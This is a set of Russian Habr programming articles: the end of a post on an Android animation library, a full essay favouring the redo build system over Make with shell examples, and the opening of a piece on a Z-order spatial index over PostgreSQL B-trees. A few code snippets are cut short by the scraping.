final int horizontalGravity = gravity & Gravity.HORIZONTAL_GRAVITY_MASK;
if (horizontalGravity == Gravity.LEFT) {
return 0;
} else if (horizontalGravity == Gravity.RIGHT) {
return view.getWidth();
} else { // (Gravity.CENTER_HORIZONTAL)
return view.getWidth() / 2;
}
}
protected int getCenterY(View view) {
final int verticalGravity = gravity & Gravity.VERTICAL_GRAVITY_MASK;
if (verticalGravity == Gravity.TOP) {
return 0;
} else if (verticalGravity == Gravity.BOTTOM) {
return view.getHeight();
} else { // (Gravity.CENTER_VERTICAL)
return view.getHeight() / 2;
}
}
public int getGravity() {
return gravity;
}
}
```
**RevealIn**
```
@TargetApi(Build.VERSION_CODES.LOLLIPOP)
public class RevealIn extends RevealCanny implements InAnimator {
public RevealIn(int gravity) {
super(gravity);
}
@Override
public Animator getInAnimator(View inChild, View outChild) {
float inRadius = (float) Math.hypot(inChild.getWidth(), inChild.getHeight());
return ViewAnimationUtils.createCircularReveal(inChild, getCenterX(inChild),
getCenterY(inChild), 0, inRadius);
}
}
```
**RevealOut**
```
@TargetApi(Build.VERSION_CODES.LOLLIPOP)
public class RevealOut extends RevealCanny implements OutAnimator {
public RevealOut(int gravity) {
super(gravity);
}
@Override
public Animator getOutAnimator(View inChild, View outChild) {
float outRadius = (float) Math.hypot(outChild.getWidth(), outChild.getHeight());
return ViewAnimationUtils.createCircularReveal(outChild, getCenterX(outChild),
getCenterY(outChild), outRadius, 0);
}
}
```
С их помощью инициализация анимаций стало проще и изящнее. Вместо:
```
animator.setInAnimator(new InAnimator() {
@Override
public Animator getInAnimator(View inChild, View outChild) {
return ObjectAnimator.ofFloat(inChild, View.ALPHA, 0, 1);
}
});
animator.setOutAnimator(new OutAnimator() {
@Override
public Animator getOutAnimator(View inChild, View outChild) {
return ObjectAnimator.ofFloat(outChild, View.ALPHA, 1, 0);
}
});
```
Можно просто написать:
```
animator.setInAnimator(new PropertyIn(View.ALPHA, 0, 1));
animator.setOutAnimator(new PropertyOut(View.ALPHA, 1, 0));
```
Получилось даже посимпатичнее, чем с использованием lamda-выражений. Далее с помощью этих классов я создал два списка стандартных анимаций: один для Property — [PropertyAnimators](https://github.com/LiveTyping/CannyViewAnimator/blob/master/library/src/main/java/com/livetyping/library/animators/property/PropertyAnimators.java), другой для CircularReaval — [RevealAnimators](https://github.com/LiveTyping/CannyViewAnimator/blob/master/library/src/main/java/com/livetyping/library/animators/reveal/RevealAnimators.java). Далее я с помощью флагов находил в XML позицию в этих списках и подставлял его. Так как CircularRevealAnimator работает только с Android 5 и выше. Пришлось создать четыре параметра вместо двух:
* in — выставляет анимацию на появление
* out — выставляет анимацию на исчезновение
* pre\_lollipop\_in — выставляет анимацию на появление, не содержит в списке CircularReveal
* pre\_lollipop\_out — выставляет анимацию на исчезновение, не содержит в списке CircularReveal
Далее при разборе параметров из XML я определяю версию системы. Если она выше, чем 5.0, то беру значения из in и out; если ниже, то из pre\_lollipop\_in и pre\_lollipop\_out. Если версия ниже чем 5.0, но pre\_lollipop\_in и pre\_lollipop\_out не заданы, то значения берутся из in и out.
Несмотря на множество проблем, я всё же успешно завершил CannyViewAnimator. Вообще, странно то, что каждый раз, как я хочу реализовать какую-либо свою хотелку, мне приходится использовать Java Reflection и лезть вглубь. Это наводит на мысли, что либо с Android SDK что-то не то, либо я хочу слишком много. Если у вас есть идеи и предложения — добро пожаловать в комментарии.
Ещё раз повторю ссылку на проект снизу:
[Ссылка на проект в Github](https://github.com/LiveTyping/CannyViewAnimator)
Всем пока! | https://habr.com/ru/post/309740/ | null | ru | null |
# Make на мыло, redo сила
Приветствую! Хочу рассказать о главных, не всегда очевидных, недостатках системы сборки [Make](https://en.wikipedia.org/wiki/Make_(software)), делающих её часто не пригодной для использования, а также рассказать о прекрасной альтернативе и решении проблемы — гениальнейшей по своей простоте, системе [redo](http://cr.yp.to/redo.html). Задумка известнейшего [DJB](https://en.wikipedia.org/wiki/Daniel_J._Bernstein), криптография которого где только не применяется. Лично меня, *redo* настолько впечатлил life-changing простотой, гибкостью и куда лучшим выполнением задач сборки, что я практически во всех своих проектах им полностью заменил Make (там где не заменил — значит ещё руки не дошли), у которого я не смог найти ни одного преимущества или причины оставлять в живых.
Yet another Make?
-----------------
Make много кого не устраивает, иначе не было бы десятков других систем сборки и десятков диалектов одного только Make. А *redo* это ещё одна очередная альтернатива? С одной стороны конечно же да — только крайне простая, но способная решать **абсолютно** все те же задачи что и Make. С другой стороны — а разве у нас есть какой-то общий для всех и единый Make?
Большинство «альтернативных» систем сборки рождалось потому что не хватало родных возможностей Make, не хватало гибкости. Многие системы занимаются только генерированием Makefile-ов, не производя сборку самостоятельно. Многие заточены под экосистему определённых языков программирования.
Ниже я постараюсь показать что *redo* является куда более заслуживающей внимания системой, не просто yet another решением.
Make всё равно всегда есть
--------------------------
Лично я всё равно всегда косо смотрел на всю эту альтернативу, ибо она или сложнее, или ecosystem/language-specific, или является дополнительной зависимостью которую нужно ставить и изучать как ею пользоваться. А Make это такая вещь, с которой плюс-минус все знакомы и умеют пользоваться на базовом уровне. Поэтому всегда и везде старался использовать POSIX Make, предполагая что это то, что в любом случае у каждого есть в (POSIX) системе из коробки, как например компилятор C. И задачи в Make выполнять только для которых он предназначен: распараллеливаемое выполнение целей (команд) с учётом зависимостей между ними.
В чём проблема просто писать на Make и быть уверенным что на любых системах это заработает? Ведь можно же (нужно!) писать на POSIX shell и не заставлять пользователей ставить какие-нибудь монструозные громадные GNU Bash. Проблема только в том, что работать будет только POSIX Make диалект, достаточно скудный даже для многих небольших простых проектов. Make в современных BSD системах более сложен и feature-full. Ну а с GNU Make мало с кем идёт в сравнение, хотя его возможностей по полной почти никто и не использует и не знает как ими пользоваться. Но GNU Make не поддерживает диалект современных BSD систем. А BSD системы не имеют GNU Make в своём составе (и их можно понять!).
Использовать BSD/GNU диалект — значит потенциально заставлять пользователя всё равно ставить дополнительный софт, не идущий из коробки. В этом случае, возможное преимущество Make — его наличие в системе, сводится на нет.
Использовать и писать на POSIX Make — можно, но сложно. Лично у меня с ходу вспоминается два очень раздражающих случая:
* Какие-то Make реализации при выполнении *$(MAKE) -C* «переходят» в директорию выполнения нового Make, а какие-то нет. Можно ли написать Makefile так, чтобы оно одинаково работало везде? Безусловно:
```
tgt:
(cd subdir ; $(MAKE) -C ...)
```
Удобно? Безусловно нет. И неприятно тем, что о подобных мелочах надо постоянно помнить.
* В POSIX Make нет оператора выполняющего shell-вызов и его результат сохраняющий в переменную. В GNU Make до 4.x версии можно сделать:
```
VAR = $(shell cat VERSION)
```
а начиная с 4.x, а также в BSD диалектах можно выполнить:
```
VAR != cat VERSION
```
Не совсем аналогичным действием можно сделать:
```
VAR = `cat VERSION`
```
но оно буквально подставляет это выражение в ваши shell-команды описанные в целях. Этот подход применяют в [suckless](https://suckless.org/) проектах, но это, конечно же, костыль.
Лично я в подобных местах часто писал Makefile-ы сразу под три диалекта (GNU, BSD и POSIX):
```
$ cat BSDmakefile
GOPATH != pwd
VERSION != cat VERSION
include common.mk
$ cat GNUmakefile
GOPATH = $(shell pwd)
VERSION = $(shell cat VERSION)
include common.mk
```
Удобно? Отнюдь! Хотя задачи крайне просты и распространены. Вот и выходит, что или:
* Писать параллельно для нескольких диалектов Make. Размен времени разработчика на удобство пользователя.
* Помня о множестве нюансов и мелочей, возможно с неэффективными подстановками (*`cmd ...`*), пытаться писать на POSIX Make. Лично для меня, с многолетним опытом с GNU/BSD Make, этот вариант самый трудозатратный (проще писать на нескольких диалектах).
* Писать на одном из диалектов Make, заставляя пользователя ставить сторонний софт.
Технические проблемы Make
-------------------------
Но всё гораздо хуже от того, что любой Make не сказать что (хорошо) справляется с поставленными на него задачами.
* ***mtime* не даёт никаких гарантий**, а Make оценивает свежесть целей исключительно по *mtime*, сравнивания его значение у выполненных целей. Если гранулярность временных штампов вашей файловой системы такая, что быстрый компьютер способен обновлять файлы быстрее, то Make будет бессилен понять изменение файлов. *mtime* не обязан монотонно возрастать! Обновлённый *mtime* также и не обязан быть ни больше, ни меньше, ни равным текущему времени! Как с *mtime* работают системы контроля версий — по разному, но никаких гарантий об его обновлении не дают. FUSE файловые системы вообще могут отдавать *mtime* хоть всегда нулевого значения. *mmap* обновит ваш *mtime*… когда-нибудь, или пока не вызван *msync* (это штатное POSIX поведение). А если у вас NFS? [Всё это](https://apenwarr.ca/log/20181113) приводит к тому, что работать Make ожидаемо может только на системах: медленных (или хорошей гранулярностью времени на ФС), с всегда идущими вперёд часами, без FUSE/NFS/mmap/VCS.
* **Цели выполняются не атомарно**. А должны? Make считает что не его забота. Но преобладающее большинство людей всё равно же захочет и будет писать цели вида:
```
tgt-zstd:
zstd -d < tgt-zstd.zst > tgt
tgt-fetch:
fetch -o tgt-fetch SOME://URL
```
Но внезапный сбой, перезапуск системы, убийство Make процесса с детьми, приведут к тому, что на файловой системе будут созданы целевые файлы и они не будут пересобираться, так как, с точки зрения Make, выполнены и актуальны.
Решить эту проблему можно:
```
tgt-zstd:
zstd -d < tgt-zstd.zst > tgt-zstd.tmp
fsync tgt-zstd.tmp
mv tgt-zstd.tmp tgt-zstd
```
Но кому захочется в такие tmp/fsync/mv вызовы оборачивать каждое описание цели? Более того, в примере выше могут быть проблемы при параллельном запуске Make-ов, параллельно собирающих и записывающих в *tgt.tmp*.
* **Цели не зависят от своего описания**. Если вы поменяли описание цели (её команды) Makefile, то будет ли Make производить пересборку этой изменённой цели? Нет. А если вы обновили какие-то переменные типа *$(CFLAGS)*? Тоже нет.
Но никто же не мешает вам прописать зависимость цели от самого Makefile! Изменение описания целей будет приводить к пересборке. Но если у вас один Makefile на множество целей, то изменение только одной из них, приведёт к пересборке и всех остальных. Хотя, безусловно, уж лучше пересобрать что-то лишнее, чем недособрать что требуется.
А что если описание целей вынести в свои отдельные Makefile и их просто:
```
$ cat Makefile
include tgt1.mk
include tgt2.mk
...
```
Это решит проблему пересборки лишнего. Но удобно ли? Отнюдь!
* Повезёт, если будут работать **рекурсивные цели**. Отличная небольшая статья [Recursive Make Considered Harmful](http://www.stargrave.org/recursive_make.pdf) описывает простейшие случаи, когда рекурсивные Makefile-ы, где нижестоящие Makefile-ы зависят от каких-то целей описанных в сторонних, и, в зависимости от того как Make проходит граф зависимостей, могут легко возникать ситуации где всё это не будет работать корректно и пересобирать что надо. Один единственный большой Makefile на весь проект — решение. Удобно? Отнюдь, иначе бы не писали рекурсивные Makefile.
А если включить распараллеленную сборку? Тогда обход графа зависимостей снова будет нарушен, нередко и непредсказуемым образом. Например при сборке всяких FreeBSD портов, именно поэтому, по умолчанию, отключают распараллеливание, так как с ним часто может всё ломаться и вести себя непредсказуемым образом.
* **Динамически сгенерированные** цели сделать нельзя. А ведь так хочется чтобы автоматически, если я написал *#include «tgt.h»*, *.c* файл зависел от *tgt.h*, ведь эту информацию можно узнать из *.c* выполнив какой-нибудь *sed* вызов.
```
tgt.o: tgt.c `sed s/.../ tgt.c`
```
сделать не выйдет. Иногда можно попытаться сгенерировать новый *.mk* Makefile с этими зависимостями и сделать его include. Будет ли это работать? Зависит от конкретной реализации Make, но скорее всего не так как ожидается: *.mk* честно пересоберётся, но проинтерпретирована будет его прошлая версия, прочитанная на этапе чтения всех Makefile-ов с include-ами.
* Цели Makefile-ов не совсем обычный shell, а каждая строка запускается в отдельном интерпретаторе, из-за чего часто приходится или писать крайне некрасивые многострочные, но объединённые через *\\$*, скрипты, или выносить их в отдельные *.sh* файлы, вызываемые из Make. И сам Make это новый язык/формат, так и его shell это тоже не совсем привычный и удобный shell, в котором не забывать и про экранирование корректное придётся. Удобно?
Давайте честно признаемся: как часто и сколько приходилось делать *make clean* или пересобирать без распараллеливания, потому что что-то недособралось или не пересобралось вопреки ожиданиям? В общем случае, безусловно, это связано не с идеально корректно, правильно и полно написанными Makefile-ами, что говорит о сложности их грамотного и работоспособного написания. Инструмент **должен** помогать.
Требования redo
---------------
Чтобы перейти к описанию *redo*, я для начала расскажу что он из себя представляет как реализация и что придётся выучить его «пользователю» (разработчику описывающему цели и зависимости между ними).
* *redo*, в общем случае, вообще не привязан к какому-либо языку для описания целей. *redo* не заставляет изучать новый диалект или формат файлов. Знаний POSIX shell полностью достаточно. Но можно писать все цели на Python или вообще в виде исполняемых файлов. **Минимальный порог входа**: ни нового формата, ни языка, ни кучи команд.
* *redo* реализаций много на разных языках: POSIX shell, GNU bash, Python, Haskell, Go, C++, Inferno Shell. Средний разработчик способен написать его реализацию за день.
* Реализация с полноценными учётом состояния и распараллеливанием сборки на [чистом C](https://github.com/leahneukirchen/redo-c) занимает менее тысячи строк кода, включая полную реализацию SHA256, а результирующий исполняемый файл у меня занимает 27KB. На чистом POSIX shell можно написать в 100 строк. Это также означает и то, что вы можете просто **встроить** POSIX shell реализацию *redo* в свои tarball-ы с софтом и пользователю ничего не придётся ставить дополнительно.
* Он не имеет **ни одной** описанной выше проблемы Make-а, превосходно выполняя **все** его задачи (с распараллеливанием).
Обычные redo цели
-----------------
Правила сборки цели являются обычным POSIX shell скриптом в файле *имя-цели.do*. Напомню в последний раз, что это может быть и любой другой язык (если добавить shebang) или просто исполняемый бинарный файл, но по умолчанию это POSIX shell. Скрипт запускается с *set -e* и тремя аргументами:
* *$1* — имя цели
*$2* — базовое имя цели (об этом ниже)
*$3* — имя файла результата
Вот треть *redo* я уже и описал. Результатом выполнения цели является или весь выловленный stdout или созданный *$3* файл. Почему так? Где-то удобнее не возиться с промежуточными файлами, а где-то не все программы умеют свой результат писать сразу в stdout. Например приводимые для примера цели в начале статьи в *redo*:
```
$ cat tgt-zstd.do
zstd -d < $1.zst
$ cat tgt-fetch.do
fetch -o $3 SOME://URL
```
Предполагаем, что *fetch* не умеет писать в stdout. stdout сохраняется во временном файле, как и *$3*. После завершения работы скрипта, выполняется его *fsync* и переименование в название цели. Тем самым гарантируя атомарность её выполнения! И только при успешном выполнении, только при отработке fsync и записи результат в директории — только тогда будет успешно выполнена цель.
Некоторые цели, типа (make) *clean*, как правило, не генерируют никаких результатов. Большинство *redo* реализаций не создают пустой файл, что удобно. По умолчанию, большинство реализаций выполняют *all* цель.
default цели
------------
Очень часто многие цели собираются одними и теми же командами. В POSIX Make можно делать такие правила сборки всех *.c*:
```
.c:
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $<
```
в *redo* для этого используются *default.do* файлы, а точнее *default.ВОЗМОЖНО-КАКИЕ-ТО-РАСШИРЕНИЯ.do*. Аналогом Make выше будет:
```
$ cat default.c.do
$CC $CLFAGS $LDFLAGS -o $3 $1
```
Часто хочется узнать имя цели без расширения — для этого используется *$2* аргумент, совпадающий с *$1* в «обычных» *redo* целях. В default-ных он будет:
```
a.b.c.do -> $2=a.b.c
default.do -> $2=a.b.c
default.c.do -> $2=a.b
default.b.c.do -> $2=a
```
Цели можно указывать спокойно и в любых директориях, что уровнем ниже, что выше. Вместо *cd dir; redo tgt* можно писать *redo dir/tgt*. Цель **всегда** будет выполняться в той же директории что и *.do* файл. Поэтому использование относительных путей будет надёжно работать, раз всегда известно где будет рабочая директория во время выполнения цели.
Если файла *имя-цели.do* не найдено, то ищется *default.do* файл. А с учётом возможных расширений, поиск *.do* файла для цели *../a/b/xtarget.y* будет такой:
```
./../a/b/xtarget.y.do
./../a/b/default.y.do
./../a/b/default.do
./../a/default.y.do
./../a/default.do
./../default.y.do
./../default.do
```
Вот уже 2/3 всей *redo* системы описано.
Зависимости
-----------
Зависимости для цели задаются путём вызова в ней *redo-ifchange* команды:
```
$ cat hello-world.do
redo-ifchange hello-world.o ../config
. ../config
$CC $CFLAGS -o $3 hello-world.o
$ cat hello-world.o.do
redo-ifchange hw.c hw.h ../config
. ../config
$CC $CFLAGS -c -o $3 hw.c
$ cat ../config
CC=cc
CFLAGS=-g
$ cat ../all.do
# этот файл в корне проекта для красоты, чтобы, набрав *redo*, он собрал
# hw/hello-world программу по умолчанию
redo-ifchange hw/hello-world
# Очистка проекта для красоты
$ cat ../clean.do
redo hw/clean
$ cat clean.do
rm -f *.o hello-world
```
Именно тут коренное отличие *redo* и кроется: у него **есть state**. Для каждой цели в нём сохраняются зависимости и информация чтобы понять их свежесть. *redo-ifchange* запишет, что при выполнении такой-то цели, ей требовались такие-то зависимости, а также проверит не изменились ли они, все ли они свежи, а если нет, то запустить их сборку. Зависимость от *.do* файла автоматическая. В примере выше, изменение *config* файла приведёт к пересборке всего что касается *hello-world* программы.
Где хранится state? Зависит от реализации. Кто-то хранит в виде TSV-like файла *имя-цели.do.state*, кто-то аналогично, но в *.redo* директории, кто-то в SQLite3 СУБД *.redo* директории.
stderr целей кем-то не перехватывается, а кем-то сохраняется в state, чтобы пользователь мог дать команду «покажи ка мне лог сборки такой-то цели».
Что сохраняется в state? Автор *redo* предлагает вообще хранить криптографический хэш от зависимости: если хоть бит изменится, независимо от FUSE/mmap/NFS/VCS, то гарантированно это изменение будет обнаружено. Некоторые реализации хранят набор из ctime, inode number, размера и кучи всего другого с хэшом — тогда не придётся его пересчитывать, если мы всё равно увидели что размер обновился.
Наличие state на файловой системе позволяет иметь и lock-и и поэтому проблем аналогичных рекурсивному Make — нет. Есть общий для всех (в пределах проекта) state с lock-ами и всеми известными зависимостями. Это также безопасно позволяет запускать сколько угодно параллельных процессов сборки.
Динамика
--------
Может показаться, что *redo-ifchange* это как-раз и есть такой новый формат, который всё же придётся иметь в виду. Но нет — это обычный вызов команды. *redo-ifchange* можно вызвать внутри скрипта абсолютно когда угодно, хоть пост фактум после сборки цели:
```
redo-ifchange $2.c
gcc -o $3 -c $2.c -MMD -MF $2.deps
read deps < $2.deps
redo-ifchange ${deps#*:}
```
В него можно подставлять любые пути, хоть автоматически сгенерированные на основе include-ов:
```
$ cat default.o.do
deps=`sed -n 's/^#include "\(.*\)"$/\1/p' < $2.c`
redo-ifchange ../config $deps
[...]
```
Зависеть от всех собранных *\*.c*?
```
for f in *.c ; do echo ${f%.c}.o ; done | xargs redo-ifchange
```
Без проблем можно и сгенерировать *.do* (*....do.do* цель) файл на лету и иметь от него зависимость. А чтобы не писать в куче *.do* файлах одни и те же *$CC $CFLAGS...*, то можно это сохранить в отдельном файле «компиляции кода»:
```
$ cat tgt.do
redo-ifchange $1.c cc
./cc $3 $1.c
$ cat cc.do
redo-ifchange ../config
. ../config
cat > $3 <
```
Хочется сгенерировать *compile\_flags.txt* для интеграции с Clang LSP демоном?
```
$ cat compile_flags.txt.do
redo-ifchange ../config
. ../config
echo "$PCSC_CFLAGS $TASN1_CFLAGS $CRYPTO_CFLAGS $WHATEVER_FLAGS $CFLAGS" |
tr " " "\n" | sed "/^$/d" | sort | uniq
```
А как получить все эти *$PCSC\_CFLAGS*, *$TASN1\_CFLAGS*? Конечно же, используя *pkg-config*, без громоздких и медленных *autotools*!
```
$ cat config.do
cat <
```
Если кому-то всё же любо видеть единственный *.do* файл, аналогичный такому Makefile:
```
foo: bar baz
hello world
.c:
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $<
```
то это легко сделать:
```
$ cat default.do
case $1 in
foo)
redo-ifchange bar baz
hello world
;;
*.c)
$CC $CFLAGS $LDFLAGS -o $3 $1
;;
esac
```
но при этом не забывать, что изменение *default.do* приведёт к пересборке всех целей им созданных. А если надо ровно для одного *.o* файла сделать особые команды или дополнительные зависимости? Ну так и написать для него *special.o.do*, а остальные будут fallback делать до *default.o.do* и *default.do* правил.
Заключение
----------
Про *redo* я слышал наверное ещё лет десять назад, но не придал ему значения и даже повёл носом от того, что «мне что, придётся каждую цель в отдельном файле описывать!?» (про *default* я не знал). Но решил попробовать, опять же, без уверенности что переезд будет безболезненным и, тем более, стоящим. А я большой любитель минималистичных и [suckless](https://suckless.org/) подходов (уж извините, но CMake, собирающийся дольше чем многие GCC, с документацией более ёмкой чем pure-C реализация *redo* — это перебор).
+ Гора ручной работы убрана из-за возможности автоматизации и динамического создания зависимостей.
+ Полностью решённые проблема с совместимостью на разношёрстных системах (\*BSD vs GNU) — POSIX shell работает везде одинаково, совершенно разные (Python, C, shell) реализации *redo* вели себя одинаково.
+ Минус целый язык/формат Makefile-ов.
+ Гарантированно работающее распараллеливание сборок.
+ Небывалая и невиданная точность задания зависимостей (потому что легко и просто) и, соответственно, система сборки честно пересобирает только то что связано и изменилось.
+ Каждая цель в своём файле — оказалось очень удобным, так как можно узнать все доступные цели для выполнения, сделав *l \*\*.do*.
О чём я пожалел и есть ли всё же помехи/недостатки?
+ Жалею только об огромном количестве потраченных часов на борьбу с Make за все эти годы, абсолютно ничем не компенсирующиеся.
+ Мне потребовался не один месяц чтобы отучиться от рефлекса делать *redo clean*, так как уже привычка после Make, что что-нибудь обязательно да не (пере)соберётся.
Рекомендую документацию [apenwarr/redo](https://redo.readthedocs.io/en/latest/) реализации, с огромным количеством примеров и пояснений.
[Сергей Матвеев](http://www.stargrave.org/), [шифропанк](http://www.cypherpunks.ru/), Python/Go/C-разработчик, главный специалист ФГУП «НТЦ „Атлас“. | https://habr.com/ru/post/517490/ | null | ru | null |
# Z-order vs R-tree, продолжение
В [прошлый раз](https://habrahabr.ru/post/319096/) мы пришли к выводу, что для эффективной работы пространственного индекса на основе Z-order необходимо сделать 2 вещи:
* эффективный алгоритм получения подинтервалов
* низкоуровневую работу с B-деревом
Вот именно этим мы и займёмся под катом.
Начнём с более интересного, алгоритма.
### Разбиение на подзапросы
Будем рассматривать 2-мерный алгоритм (индексация точек) в силу его относительной простоты. Впрочем, на большие размерности алгоритм легко обобщается.
Сейчас мы (также для простоты) будем использовать неотрицательные целочисленные координаты. Координаты ограничены 32 битами, поэтому значение ключа индекса можно хранить в uint64
Нам понадобятся следующие простые свойства z-нумерации:
1. Пусть на плоскости отмечен некий прямоугольник. Тогда среди всех точек прямоугольника наименьший z-номер имеет левый нижний угол прямоугольника (будем называть его “z”), а наибольший – правый верхний угол (его назовём “Z”). Данное свойство очевидным образом следует из способа построения z-номера.
2. Всякий прямоугольник можно разделить единственным образом на два прямоугольника (вертикальным или горизонтальным разрезом) так, что все z-номера первого прямоугольника меньше всех z-номеров второго. Это следует из самоподобия Z-кривой. Элементарная ячейка из четырех клеток делится пополам, затем еще пополам двумя разрезами, то же самое происходит на всех уровнях иерархии.
Как именно необходимо разрезать экстент, чтобы сохранить свойство непрерывности подинтервалов?
Из самоподобия кривой следует, что разрезать можно только по решетке с шагом в степень двойки и с узлом в начале координат.
Но какую конкретно решетку из доступных 64 выбрать? Это довольно просто. Разрезаемый экстент должен занимать в искомой решетке больше одной клетки, иначе просто нечего разрезать. С другой стороны, по любой из координат размер не может превышать 2 клетки, а по крайней мере по одной должен быть строго 2 клетки. Если по обеим размерностям разрезаемый экстент занимает 2 клетки, резать будем по той координате, чей разряд в построении Z-значения старший.
Как же найти такую решетку? Это тоже несложно. Достаточно сравнить Z-значения углов z и Z. Начнем сравнивать со старших разрядов и найдём разряд, где их значения разошлись. Вот и искомая решетка.
Как осуществить разрез? Тут необходимо вспомнить метод построения Z-значения, а именно то, что x&y координаты чередуются через разряд. Следовательно:
* Пусть различие между z и Z началось в разряде m
* Разрезать будем по одной координате, на которую пришлось m, независимо от того, x это или y, пусть в данном случае это x, впрочем, для y всё работает точно так же
* Из экстента (x0,y0,x1,y1) мы должны получить два: (x0,y0,x2-1,y1),(x2,y0,x1,y1)
* А для того, чтобы получить x2 достаточно обнулить все разряды x координаты младше m, т.е. через один
* x2-1 получается обнулением бита m и присвоением 1 всем младшим x разрядам
Итак, как же выглядит алгоритм генерации подзапросов? Довольно незатейливо:
1. Заводим очередь подзапросов, изначально в этой очереди один единственный элемент — искомый экстент
2. Пока очередь не пуста:
1. Достаем элемент с вершины очереди
2. Если для этого запроса не срабатывает **критерий остановки**
1. Получаем z и Z — значения для его углов
2. Сравниваем z и Z — находим разряд m, по которому будем резать
3. Вышеописанным способом получаем два подзапроса
4. Помещаем их в очередь, сначала тот, что с бОльшими Z-значениями, затем второй
Такой способ гарантирует нам генерацию подзапросов, при котором Z-значения финальных (т.е. те, на которых сработал критерий остановки) подзапросов только лишь возрастают, пробросов назад не возникает.
### Критерий остановки
Он очень важен, если им пренебречь, генерация подзапросов продолжится до тех пор, пока всё не будет порезано на единичные квадратики.
Стоит отметить, что при выработке такого критерия мы не можем полагаться лишь на параметры запроса, площади, геометрические свойства … В реальных данных распределение точек может быть весьма неравномерны, например, города и пустые пространства. Населенность площадей нам заранее неизвестна.
Значит необходима интеграция с поиском в дереве индекса, который, как мы помним, B-дерево.
Как выглядит подзапрос с точки зрения индекса? Это совокупность данных, расположенных на некотором числе страниц. Если подзапрос пуст, то и интервал данных пуст, но тем не менее куда-то смотрит, т.к. чтобы понять что данных нет, надо попытаться их прочитать и спуститься с вершины дерева до листовой страницы. Может так случиться, что пустой запрос смотрит и за пределы дерева.
Вообще, процесс вычитывания данных подзапроса состоит из двух фаз —
* Зондирование дерева. Начиная с корневой страницы мы ищем ключ меньше или равный Z-значению левого нижнего угла подзапроса (z) и так спускаемся до листовой страницы. На выходе получаем стек страниц и листовую страницу “в воздухе”. На этой странице ищем элемент больше или равный искомому.
* Чтение вперед до конца подзапроса. В PostgreSQL листовые страницы B-дерева связаны списком, если бы этого не было, для того, чтобы получить следующую страницу пришлось бы подняться вверх по стеку страниц, чтобы затем спуститься на неё.
Итак, после зондирующего запроса у нас в руках листовая страница, на которой предположительно начинаются наши данные. Возможны разные ситуации:
1. Найденный элемент страницы больше правого верхнего угла подзапроса (Z). Т.е. данных нет.
2. Найденный элемент страницы меньше Z, последний элемент страницы меньше Z. Т.е. подзапрос начинается на этой странице, заканчивается где-то дальше.
3. Найденный элемент страницы меньше Z, последний элемент страницы больше Z. Т.е. весь подзапрос расположен на этой странице.
4. Найденный элемент страницы меньше Z, последний элемент страницы равен Z. Т.е. подзапрос начинается на этой странице, но возможно заканчивается на следующей (несколько элементов с одними координатами). А может и сильно дальше, если дубликатов много.
Вариант N1 не требует никаких действий. Для N2 естественным представляется следующий критерий остановки (расщепления подзапросов) — будем разрезать их до тех пор, пока не получим варианты 3 или 4. С вариантом N3 всё очевидно, в случае N4 страниц с данными может быть несколько, но разрезать подзапрос бессмысленно т.к. на последующей странице(цах) могут быть только данные с ключом равным Z, после разреза мы окажемся в той же самой ситуации. Чтобы справиться с этим, достаточно просто считать со следующей(щих) страниц все данные с ключом равным Z. Их может и не быть, вообще, N4 — это достаточно экзотический случай.
### Работа с B-деревом
Низкоуровневая работа с B-деревом не представляет особых трудностей. Но придётся создать [расширение](https://postgrespro.ru/blog/pgsql/119069). Общая логика такова — зарегистрируем [SRF](https://postgrespro.ru/docs/postgrespro/9.5/functions-srf) функцию:
```
CREATE TYPE __ret_2d_lookup AS (c_tid TID, x integer, y integer);
CREATE FUNCTION zcurve_2d_lookup(text, integer, integer, integer, integer)
RETURNS SETOF __ret_2d_lookup
AS 'MODULE_PATHNAME'
LANGUAGE C IMMUTABLE STRICT;
```
Которая на вход получает имя индекса и экстент. А возвращает набор элементов, в каждом из которых указатель на строку таблицы и координаты.
Доступ к собственно дереву происходит так:
```
const char *relname; /* внешний параметр */
...
List *relname_list;
RangeVar *relvar;
Relation rel;
...
relname_list = stringToQualifiedNameList(relname);
relvar = makeRangeVarFromNameList(relname_list);
rel = indexOpen(rel);
...
indexClose(rel);
```
Получение корневой страницы:
```
int access = BT_READ;
Buffer buf;
...
buf = _bt_getroot(rel, access);
```
В целом, поиск в индексе сделан подобно обычному поиску в B-дереве (см postgresql/src/backend/access/nbtree/nbtsearch.c). Изменения связаны со спецификой ключа, возможно, можно было обойтись и без нее, пусть это было бы и чуть медленнее.
Поиск внутри страницы выглядит так:
```
Page page;
BTPageOpaque opaque;
OffsetNumber low, high;
int32 result, cmpval;
Datum datum;
bool isNull;
...
page = BufferGetPage(buf);
opaque = (BTPageOpaque) PageGetSpecialPointer(page);
low = P_FIRSTDATAKEY(opaque);
high = PageGetMaxOffsetNumber(page);
...
тут идёт бинарный поиск
...
/* для листовой страницы возвращаем найденное значение */
if (P_ISLEAF(opaque))
return low;
/* для промежуточной - предыдущий элемент */
return OffsetNumberPrev(low);
```
Получение элемента страницы:
```
OffsetNumber offnum;
Page page;
Relation rel;
TupleDesc itupdesc = RelationGetDescr(rel);
IndexTuple itup;
Datum datum;
bool isNull;
uint64 val;
...
itup = (IndexTuple) PageGetItem(page, PageGetItemId(page, offnum));
datum = index_getattr(itup, 1, itupdesc, &isNull);
val = DatumGetInt64(datum);
```
### Итоговый алгоритм
1. Заводим очередь подзапросов, изначально в этой очереди один единственный элемент — искомый экстент
2. Пока очередь не пуста:
1. Достаем элемент с вершины очереди
2. Выполняем зондирующий запрос в индексе для z (левого нижнего угла). В целях экономии, можно делать зондирование не каждый раз, а только если последнее найденное значение (которое изначально 0) больше или равно z
3. В случае, если найденное минимальное значение превышает Z (правый верхний угол), заканчиваем обработку этого подзапроса, переходим на П.2
4. Проверяем последний элемент листовой страницы B-дерева, на которой остановился зондирующий запрос
5. Если он больше или равен Z, выбираем элементы страницы, фильтруем их на предмет принадлежности поисковому экстенту и запоминаем результирующие точки.
6. Если он равен Z, читаем индекс вперед до полного исчерпания ключей со значением равным Z и тоже запоминаем их
7. В противном случае — последнее значение страницы меньше Z
1. Сравниваем z и Z — находим разряд m, по которому будем резать
2. Вышеописанным способом получаем два подзапроса
3. Помещаем их в очередь, сначала тот, что с бОльшими Z-значениями, затем второй
### Предварительные результаты
В заглавной иллюстрации статьи представлено разбиение реального запроса на подзапросы и результирующие точки. Показано сравнение найденных R-деревом результатов с полученными вышеописанным алгоритмом. Картинка времен отладки и видно, что одной точки не хватает.
Но картинки — картинками, а хочется увидеть сравнение производительности. С нашей стороны будет та же таблица:
```
create table test_points (x integer,y integer);
COPY test_points from '/home/.../data.csv';
